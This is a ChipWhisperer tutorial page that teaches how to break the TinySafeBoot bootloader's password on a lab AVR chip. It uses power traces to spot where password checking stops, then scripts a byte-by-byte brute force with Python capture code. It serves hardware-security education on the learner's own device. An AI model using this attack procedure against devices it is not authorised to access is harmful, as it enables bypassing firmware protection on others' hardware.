Difference between revisions of "Tutorial B3-2 Timing Analysis with Power for Attacking TSB"

Prerequisites

You should have already completed tutorialtimingsimple to gain a better understanding of the ChipWhisperer interface.

Finally program the microcontroller with the file used here:

7. Program the file tsb_m328p_d0d1_20140331.hex which is found at chipwhisperer\hardware\victims\firmware\tinysafeboot-20140331 into the AVR microcontroller. You can find instructions for using the programming software in the tutorialcomms examples.

Testing the Serial Connection & Observing Power

These steps differ from previous steps, as we are not going to be using a built-in target. However you can refer to tutorialcomms for general information on using the ChipWhisperer-Capture Interface.

1. Start ChipWhisperer-Capture
2. As the Scope Module, select the ChipWhisperer/OpenADC option
3. As the Target Module, select the Simple Serial option
4. Switch to the Scope Settings tab, and as the connection, select the ChipWhisperer Rev2 option (assuming you are using the Capture-Rev2)
5. Switch to the Target Settings tab, and as the connection, select the ChipWhisperer option (assuming you are using the Capture-Rev2)
6. Press the Master Connect button again (or scope+target separately). You should end up with BOTH the scope and target connected:

   

   We will later manually adjust the data sent to the target.

7. From the Tools menu select Open Terminal, and press Connect on the terminal:

   

8. Switch back to the Target Settings tab, without closing the terminal window. Set the baud rate for both TX & RX to 9600 baud. Once you start using the terminal these values will switch to the actual baud rates in use (the hardware can only generate certain baud rates). You cannot use higher bauds for this tutorial as the combined error from the AVR code & ChipWhisperer serial port causes communications failures.

   

9. In the ChipWhisperer-Serial Terminal, change the TX on Enter to None, as we don't want to send any character to terminate a string.
10. In the ChipWhisperer-Serial Terminal, set display mode to ASCII with Hex for Invalid ASCII if not already set.

    

11. Finally send the command @@@, which is the login sequence for the TinySafeBoot bootloader. Simply type this in the input line, and press 'enter' to send. You will see the @@@ echoed on the received data in a blue font.
12. The objective is to get the login response. You may have to send @@@ a few times for this to be successful, the following figure shows an example where the the login worked after sending a second round of @@@. You might get an invalid response your first time for example. The response should start with TSB:

    

    Note the red bytes are hexadecimal responses, which were converted since they were outside of valid range for ASCII data. The response from TinySafeBoot has the following meaning, with example values given for our implementation, note certain values may change if you use different versions of TSB:

Finally, we want to monitor power when sending this sequence to the device. We'll need to configure a number of OpenADC settings for this. The following table shows these settings, please carefully go though and set each of these as given. Pay attention to the 'notes' section which has some additional information.

1. Before attacking the real system, we'll need to confirm these settings will work. To do so we'll monitor the power consumption whilst operating the bootloader under normal conditions.
2. Switch to the Target Tab, and ERASE the Load Key Command, Go Command', and Output Format labels. This will mean the system will not send unexpected data:

   

3. With our system running, push the 'Capture 1' button. Notice it will go grey indicating the system is waiting for the trigger to occur:

   

   The trigger in this case is when the 'TXD' line goes low, which means when we send data to the bootloader. At this time we'll monitor the power when sending the sequence of @@@ used before. This is described in steps 15-17.

4. Prepare the serial window by typing @@@ as before, but do not hit enter yet. We'll need to hit enter only after we arm the system.
5. Arm the system by pressing the 'Capture 1' button.
6. Before the capture times out (e.g. before the button stops being gray), quickly click on the serial terminal output line and press 'Enter' to send the command, or press the 'Send' button beside the terminal output line to send the #:@@@ command. Note you can adjust the timeout in the Trigger Setup group of the Scope Settings.

   

7. If this works, you will see the power consumption on receiving the command. You'll notice two distinct power signatures, which may look something like this:

   

   Or:

   

   The scale on the bottom is in samples. Remember we set the sample clock to 7.37 MHz (same speed of the device), meaning each sample represents 1 / 7.37E6 = 135.6nS. Our serial interface is running at approximately 9600 baud, meaning a single bit takes 1/9600 = 0.1042mS. Every byte requires 10 bits (1 start bit, 8 data bits, 1 stop bit), meaning a single byte over the UART represents 1.042mS, or 7684 samples. Note that in the second figure the power consumption drops dramatically after 7000 samples, which would correspond to a single byte being received (remember we triggered the capture based on the start bit).

   The two power traces represent two different modes in the bootloader. In the first power trace the bootloader is waiting for the login sequence, and receives all three bytes of it before awaiting the next command. In the second power trace the bootloader is already waiting the command byte. Since @ is not a valid command, when the bootloader receives the first @ it simply jumps to the user program. The flash here is empty, which effectively performs nop type operations. You can see a dramatic reduction in power as soon as the microcontroller stops receiving the data.

   Be aware that the data begin sent in both cases is the exact same! The power consumption differences are solely because the microcontroller stops processing the incoming data. We'll exploit this to break a secret password in the final part of this experiment.

Setting a Password on the Bootloader

The TinySafeBoot bootloader allows us to set a password. Doing so requires us to send a binary blob to the device - something which we cannot do through a normal ASCII serial interface. This section will demonstrate how to use the command-line interface of the ChipWhisperer-Capture software to perform advanced operations with Python.

This section assums you still have the setup from the previous part running. If you have closed the program, perform steps 1 - 11 again (you don't need to configure the OpenADC settings).

1. Close the ChipWhisperer-Serial Terminal window.

2. Switch to the Python Console on the bottom. You can enter commands in the bottom line & hit enter to have them executed:

   

   As a test try just entering self, which is a Python reference to the ChipWhisperer object. You can explore other options & Python will report the data-type, for example:

   >>> self
   <__main__.CWCaptureGUIobject at 0x05E27800>
   <chipwhisperer.capture.targets.simpleserial_readers.cw.SimpleSerial_ChipWhisperer object at 0x06E61030>

3. You can also call methods. For example we can send a string with the following:

   >>>  self.api.getTarget().ser.write("@@@")

4. And to retreive the data we would call the read() function, where we specify the number of bytes to attempt to read. As before if we fail to get a response you may need to resend the "@@@" prompt:

   >>>  self.api.getTarget().ser.write("@@@")
   
   >>> self.api.getTarget().ser.read(255)
   u''
   >>> self.api.getTarget().ser.write("@@@")
   >>> self.api.getTarget().ser.read(255)
   u'TSB\x7f\x1c\xf0\x1e\x95\x0f@\xc0>\xff\x03\xaa\xaa!'

5. To make typing easier, create variables that point to the read and write functions:

   >>> read = self.api.getTarget().ser.read
   >>> write = self.api.getTarget().ser.write

6. To set the bootloader on TSB, we need to modify a special page of FLASH memory. First, ensure you've recently (e.g. within < 30 seconds) received the TSB signon prompt. If not resend the @@@ string until the call to read(255) returns the TSB prompt. You should read the next step before doing this however.

7. Send the command 'c' to read the last page of flash. Rather than printing to console, simply save this to a variable:

   >>> write('c')
   >>> lastpage = read(255)
   >>> lastpage
   u'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
   \xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
   \xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
   \xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
   \xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff!'

   Success! You've managed to read the space where we'll store the user password. First, we need to now remove the trailing 'CONFIRM' character from the end, leaving us with a complete page:

   >>> lastpage = lastpage[:-1]

   Next, you should convert this to a bytearray which will make modifications easier. When converting we need to specify a character set as well:

   >>> lastpage = bytearray(lastpage, 'latin-1')

   You can now retreive individual bytes of the array & get the associated value:

   >>> lastpage[2]
   255

   Finally, let's set a two-character password of 'ce'. The password starts at offset 3, and is terminated by a 0xFF:

   >>> lastpage[3] = ord('c')
   >>> lastpage[4] = ord('e')
   >>> lastpage[5] = 255

   Because we are using bytearrays, we needed to use the ord() function to get the integer value associated with each character. We could have more directly written the password in if we had kept the original encoding. But often you need to modify byte-level values, meaning the bytearray() conversion is a useful tool to know.

8. Finally we can write this back to the system. We need to send two commands to do this:

   >>> write('C')
   >>> write('!')
   >>> write(lastpage.decode('latin-1'))
   >>> read(255)
   u'?\xff\xff\xffce\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
   \xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
   \xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
   \xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff!'
   >>> write('c')
   >>> read(255)
   u'\xff\xff\xffce\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
   \xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
   \xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
   \xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff!'

   Confirm that the ce sequence occurs at the start. If something else appears you may have the wrong password set in the device!

9. We now have a bootloader with a password protection. Be aware that if you enter the wrong password you will cause the bootloader to spin into an infinite loop! You can check the password (carefully) by executing the following commands:

      >>> write('q')
      >>> write('@@@')
      >>> read(255) 
      u''
      >>> write('ce')
      >>> read(255)
      u'TSBx7fx1cxf0x1ex95x0f@xc0>xffx03xaaxaa!'

   The q command causes the bootloader to quit & jump to the application. Since there is no application it re-enters the bootloader. The @@@ is our standard sign-on sequence. However the bootloader waits for the secret password before transmitting the sign-on sequence. Note how it's only after sending ce that the bootloader works.

Running External Tools

The next step of this tutorial runs external tools. In particular we want to use the built-in AVR programmer to reset the AVR device, since we have no other method of asserting reset on the target.

This assumes you have AVR Studio 4 installed. If you are using another plaform you can simply modify these instructions to use the command-line tool of your choice, such as avrdude.

1. First, ensure the USB-A cable is plugged into the rear of the ChipWhisperer. You will have both the USB-A and USB-Mini connections on the ChipWhisperer connected to your computer.

2. Open a terminal, and attempt to run the command-line AVR tools. You may have to adjust the path for your specific machine binary location:

   cd "C:\Program Files (x86)\Atmel\AVR Tools\STK500"
   Stk500.exe -dATMega328p -s -cUSB
       STK500 command line programmer, v 2.4 Atmel Corp (C) 2004-2011.
   
       Connected to AVRISP mkII on port USB:000200212345
       Device parameters loaded
       Programming mode entered
       Signature is 0x1E 0x95 0x0F
       Programming mode left
       Connection to AVRISP mkII closed

   Note the signature was correctly read. As part of reading the signature the AVR device will be reset.

3. Next, we will run the programmer from a Python program. This will provide us with a method of resetting the AVR progmatically.

4. Create a new file named something like test_bootloader.py with the following contents. Again adjust path as required to point to your AVRStudio installation. Note on Windows the double-slash is due to the requirement of escaping the backslash inside the string:

   from subprocess import call
   
   def resetAVR():
       call(["C:\\Program Files (x86)\\Atmel\\AVR Tools\\STK500\\Stk500.exe",
             "-dATMega328p", "-s", "-cUSB"])
   
   resetAVR()

blockquote>Attempt to run this file & confirm it works as expected. </blockquote>

Scripting the Setup

At this point we want to script the setup of the ChipWhisperer-Capture tool, along with pulling in our special utility which is capable of resetting the AVR microcontroller.

1. Create a Python file with a structure such as the following:

   from subprocess import call
   import chipwhisperer.capture.ChipWhispererCapture as cwc
   from chipwhisperer.capture.scopes.ChipWhispererExtra import CWPLLDriver
   
   try:
       from PySide.QtCore import *
       from PySide.QtGui import *
   except ImportError:
       print "ERROR: PySide is required for this program"
       sys.exit()
   
   def pe():
       QCoreApplication.processEvents()
   
   def resetAVR():
       call(["C:\\Program Files (x86)\\Atmel\\AVR Tools\\STK500\\Stk500.exe",
             "-dATMega328p", "-s", "-cUSB"])
   
   
   #Make the application
   app = cwc.makeApplication()
   
   #If you DO NOT want to overwrite/use settings from the GUI version including
   #the recent files list, uncomment the following:
   #app.setApplicationName("Capture V2 Scripted")
   
   #Get main module
   cap = cwc.ChipWhispererCapture()
   
   #Show window - even if not used
   cap.show()
   
   #NB: Must call processEvents since we aren't using proper event loop
   pe()
   
   cap.setParameter(['Generic Settings', 'Scope Module', 'ChipWhisperer/OpenADC'])
   cap.setParameter(['Generic Settings', 'Target Module', 'Simple Serial'])
   cap.setParameter(['Target Connection', 'connection', 'ChipWhisperer'])
   
   #Load FW (must be configured in GUI first)
   cap.FWLoaderGo()
   
   #NOTE: You MUST add this call to pe() to process events. This is done automatically
   #for setParameter() calls, but everything else REQUIRES this, since if you don't
   #signals will NOT be processed correctly
   pe()
   
   #Connect to scope
   cap.doConDisScope(True)
   pe()
   
   #Connect to serial port
   ser = cap.target.driver.ser
   ser.con()
   
   #Set baud rate
   cap.setParameter(['Serial Port Settings', 'TX Baud', 9600])
   cap.setParameter(['Serial Port Settings', 'RX Baud', 9600])
   
   #Attach special method so we can call from GUI if wanted
   cap.resetAVR = resetAVR
   
   #Some useful commands to play with from GUI
   #self.resetAVR()
   #ser = self.target.driver.ser
   #ser.write("@@@")
   #ser.write("ce")
   #print ser.read(255)
   
   #Run Application
   app.exec_()

   This is a basic 'script', which is really just a Python program using the ChipWhisperer library. Save the script to a file & run this, which should open the ChipWhisperer-Capture window as before. Finally, let's once again configure the OpenADC for analog capture. Before doing this, switch to the Script Commands tab, and note there is already some script information being printed. We will make changes to the system and then observe additional data that gets printed here:

   

2. Follow step 13 from section testingserialbasic, which contains a number of settings for the OpenADC portion. After performing the commands, you will note that additional steps have been printed to the Script Commands window. For example your output might look something like this:

   ['OpenADC', 'Gain Setting', 'Setting', 45]
   ['OpenADC', 'Trigger Setup', 'Mode', 'falling edge']
   ['OpenADC', 'Clock Setup', 'ADC Clock', 'Source', 'EXTCLK x1 via DCM']
   ['CW Extra', 'CW Extra Settings', 'Trigger Pins', 'Front Panel A', False]
   ['CW Extra', 'CW Extra Settings', 'Trigger Pins', 'Target IO1 (Serial TXD)', True]
   ['CW Extra', 'CW Extra Settings', 'Clock Source', 'Target IO-IN']
   ['OpenADC', 'Clock Setup', 'ADC Clock', 'Reset ADC DCM', None]

   Note the format __changes slightly between releases__, and using the wrong format will cause errors. Thus you should copy the output from your specific application and note the exact list used here.

3. Insert these commands into our master script such we don't need to perform any manual configuration. Close the ChipWhisperer-Capture window, and find the following line in your script:

   #Connect to scope
   cap.doConDisScope(True)
   pe()

4. Copy and paste the list of commands into the script just below that:

   #Connect to scope
   cap.doConDisScope(True)
   pe()
   
   ['OpenADC', 'Gain Setting', 'Setting', 45]
   ['OpenADC', 'Trigger Setup', 'Mode', 'falling edge']
   ['OpenADC', 'Clock Setup', 'ADC Clock', 'Source', 'EXTCLK x1 via DCM']
   ['CW Extra', 'CW Extra Settings', 'Trigger Pins', 'Front Panel A', False]
   ['CW Extra', 'CW Extra Settings', 'Trigger Pins', 'Target IO1 (Serial TXD)', True]
   ['CW Extra', 'CW Extra Settings', 'Clock Source', 'Target IO-IN']
   ['OpenADC', 'Clock Setup', 'ADC Clock', 'Reset ADC DCM', None]

5. Convert the list into a Python list variable with a name, which is done by inserting a cmds = [ on the line above, a , after each line, and a ] after the final line:

   #Connect to scope
   cap.doConDisScope(True)
   pe()
   
   cmds = [
   ['OpenADC', 'Gain Setting', 'Setting', 45],
   ['OpenADC', 'Trigger Setup', 'Mode', 'falling edge'],
   ['OpenADC', 'Clock Setup', 'ADC Clock', 'Source', 'EXTCLK x1 via DCM'],
   ['CW Extra', 'CW Extra Settings', 'Trigger Pins', 'Front Panel A', False],
   ['CW Extra', 'CW Extra Settings', 'Trigger Pins', 'Target IO1 (Serial TXD)', True],
   ['CW Extra', 'CW Extra Settings', 'Clock Source', 'Target IO-IN'],
   ['OpenADC', 'Clock Setup', 'ADC Clock', 'Reset ADC DCM', None],
   ]

6. Add a loop to run each command on the system:

   #Connect to scope
   cap.doConDisScope(True)
   pe()
   
   cmds = [
   ['OpenADC', 'Gain Setting', 'Setting', 45],
   ['OpenADC', 'Trigger Setup', 'Mode', 'falling edge'],
   ['OpenADC', 'Clock Setup', 'ADC Clock', 'Source', 'EXTCLK x1 via DCM'],
   ['CW Extra', 'CW Extra Settings', 'Trigger Pins', 'Front Panel A', False],
   ['CW Extra', 'CW Extra Settings', 'Trigger Pins', 'Target IO1 (Serial TXD)', True],
   ['CW Extra', 'CW Extra Settings', 'Clock Source', 'Target IO-IN'],
   ['OpenADC', 'Clock Setup', 'ADC Clock', 'Reset ADC DCM', None],
   ]
   
   for cmd in cmds: cap.setParameter(cmd)

7. Run your script again. You should see the system connect to the target, and also configure the OpenADC settings. You can confirm this by hitting the Capture 1 button. You won't yet get very useful information, but it should give you some analog data after the timeout period.

8. Switch to the Python console in the running ChipWhisperer-Capture application. First create a shortcut for the serial port:

   >>> ser = self.target.driver.ser

   Then run the following commands:

   >>> self.resetAVR()
   >>> ser.write("@@@")

   At this point the system is waiting for a correct password. Put the following text into the Python console but do not hit enter yet:

   ser.write("ce")

9. With the ser.write("ce") still not yet sent, hit the Capture 1 button. Then hit enter on the Python console to send the ser.write("ce") command. The system should trigger immediatly and capture a power trace, which might look something like this:

   

   To re-run the capture, perform the same sequence of commands in steps 8 & 9. You should get an almost identical trace each time you do this.

10. Now perform the same sequence (e.g. self.resetAVR(), ser.write("@@@")). But instead of sending the correct password "ce", send an incorrect password such as "ff". You should now see a power trace such as this:

    

    Notice the start difference! You can examin the bootloader source to get an idea why this occurs. In particular the portion dealing with the password check looks like this:

    CheckPW:
    chpw1:
            lpm tmp3, z+                    ; load character from Flash
            cpi tmp3, 255                   ; byte value (255) indicates
            breq chpwx                      ; end of password -> exit
            rcall Receivebyte               ; else receive next character
    chpw2:
            cp tmp3, tmp1                   ; compare with password
            breq chpw1                      ; if equal check next character
            cpi tmp1, 0                     ; or was it 0 (emergency erase)
    chpwl:  brne chpwl                      ; if not, loop infinitely
            rcall RequestConfirmation       ; if yes, request confirm

    Note as soon as you get a wrong character, the reception of characters stops.

11. Perform the same experiment, but send the first character right and the second character wrong. So send "cf" for example as the password:

    >>> self.resetAVR()
    >>> ser.write("@@@")
    ---Push Capture 1 Button---
    >>> ser.write("cf")

    The results will again have a sharp drop in power after the reception of the second character:

    

Thus by looking at the power consumption, we can determine the wrong password character. This makes it possible to brute-force the password, since we can simply guess a single digit of the password at a time.

Scripting the Complete Attack

The current script sets up the application, then runs the GUI normally at this line:

#Run Application
app.exec_()

As a beginning point, the following allows you to manually specify two characters for the password. These characters are put into the system, and based on a simple power threshold it decides where the password failed. This script would be the same as your previous script, but replace the above call with:

num1 = ord('c')
num2 = ord('f')

cap.resetAVR()
time.sleep(0.1)
ser.write("@@@")
time.sleep(0.1)
cap.scope.arm()
pe()
ser.write(chr(num1) + chr(num2))
if cap.scope.capture(update=True, NumberPoints=None, waitingCallback=pe):
    print "Timeout"
else:
    print "Capture OK"

if min(cap.scope.datapoints[10000:14000]) > -0.1:
    print "Byte 1 Wrong"

elif min(cap.scope.datapoints[18000:22000]) > -0.1:
    print "Byte 2 Wrong"

else:
    print "Password OK? Check response on serial"

#print ser.read(255)

#Run Application
app.exec_()

#Disconnect before exit to save grief
cap.scope.dis()
cap.target.dis()

You will need to adjust the thresholds and possibly data point locations based on your own experiments. With this you should be able to make a script which brute-forces the password by breaking the first byte and then the second byte.

Conclusion

This tutorial has demonstrated the use of the power side-channel for performing timing attacks. A bootloader with a simple password-based security system is broken. In addition you have learned about the scripting support in the ChipWhisperer-Capture software.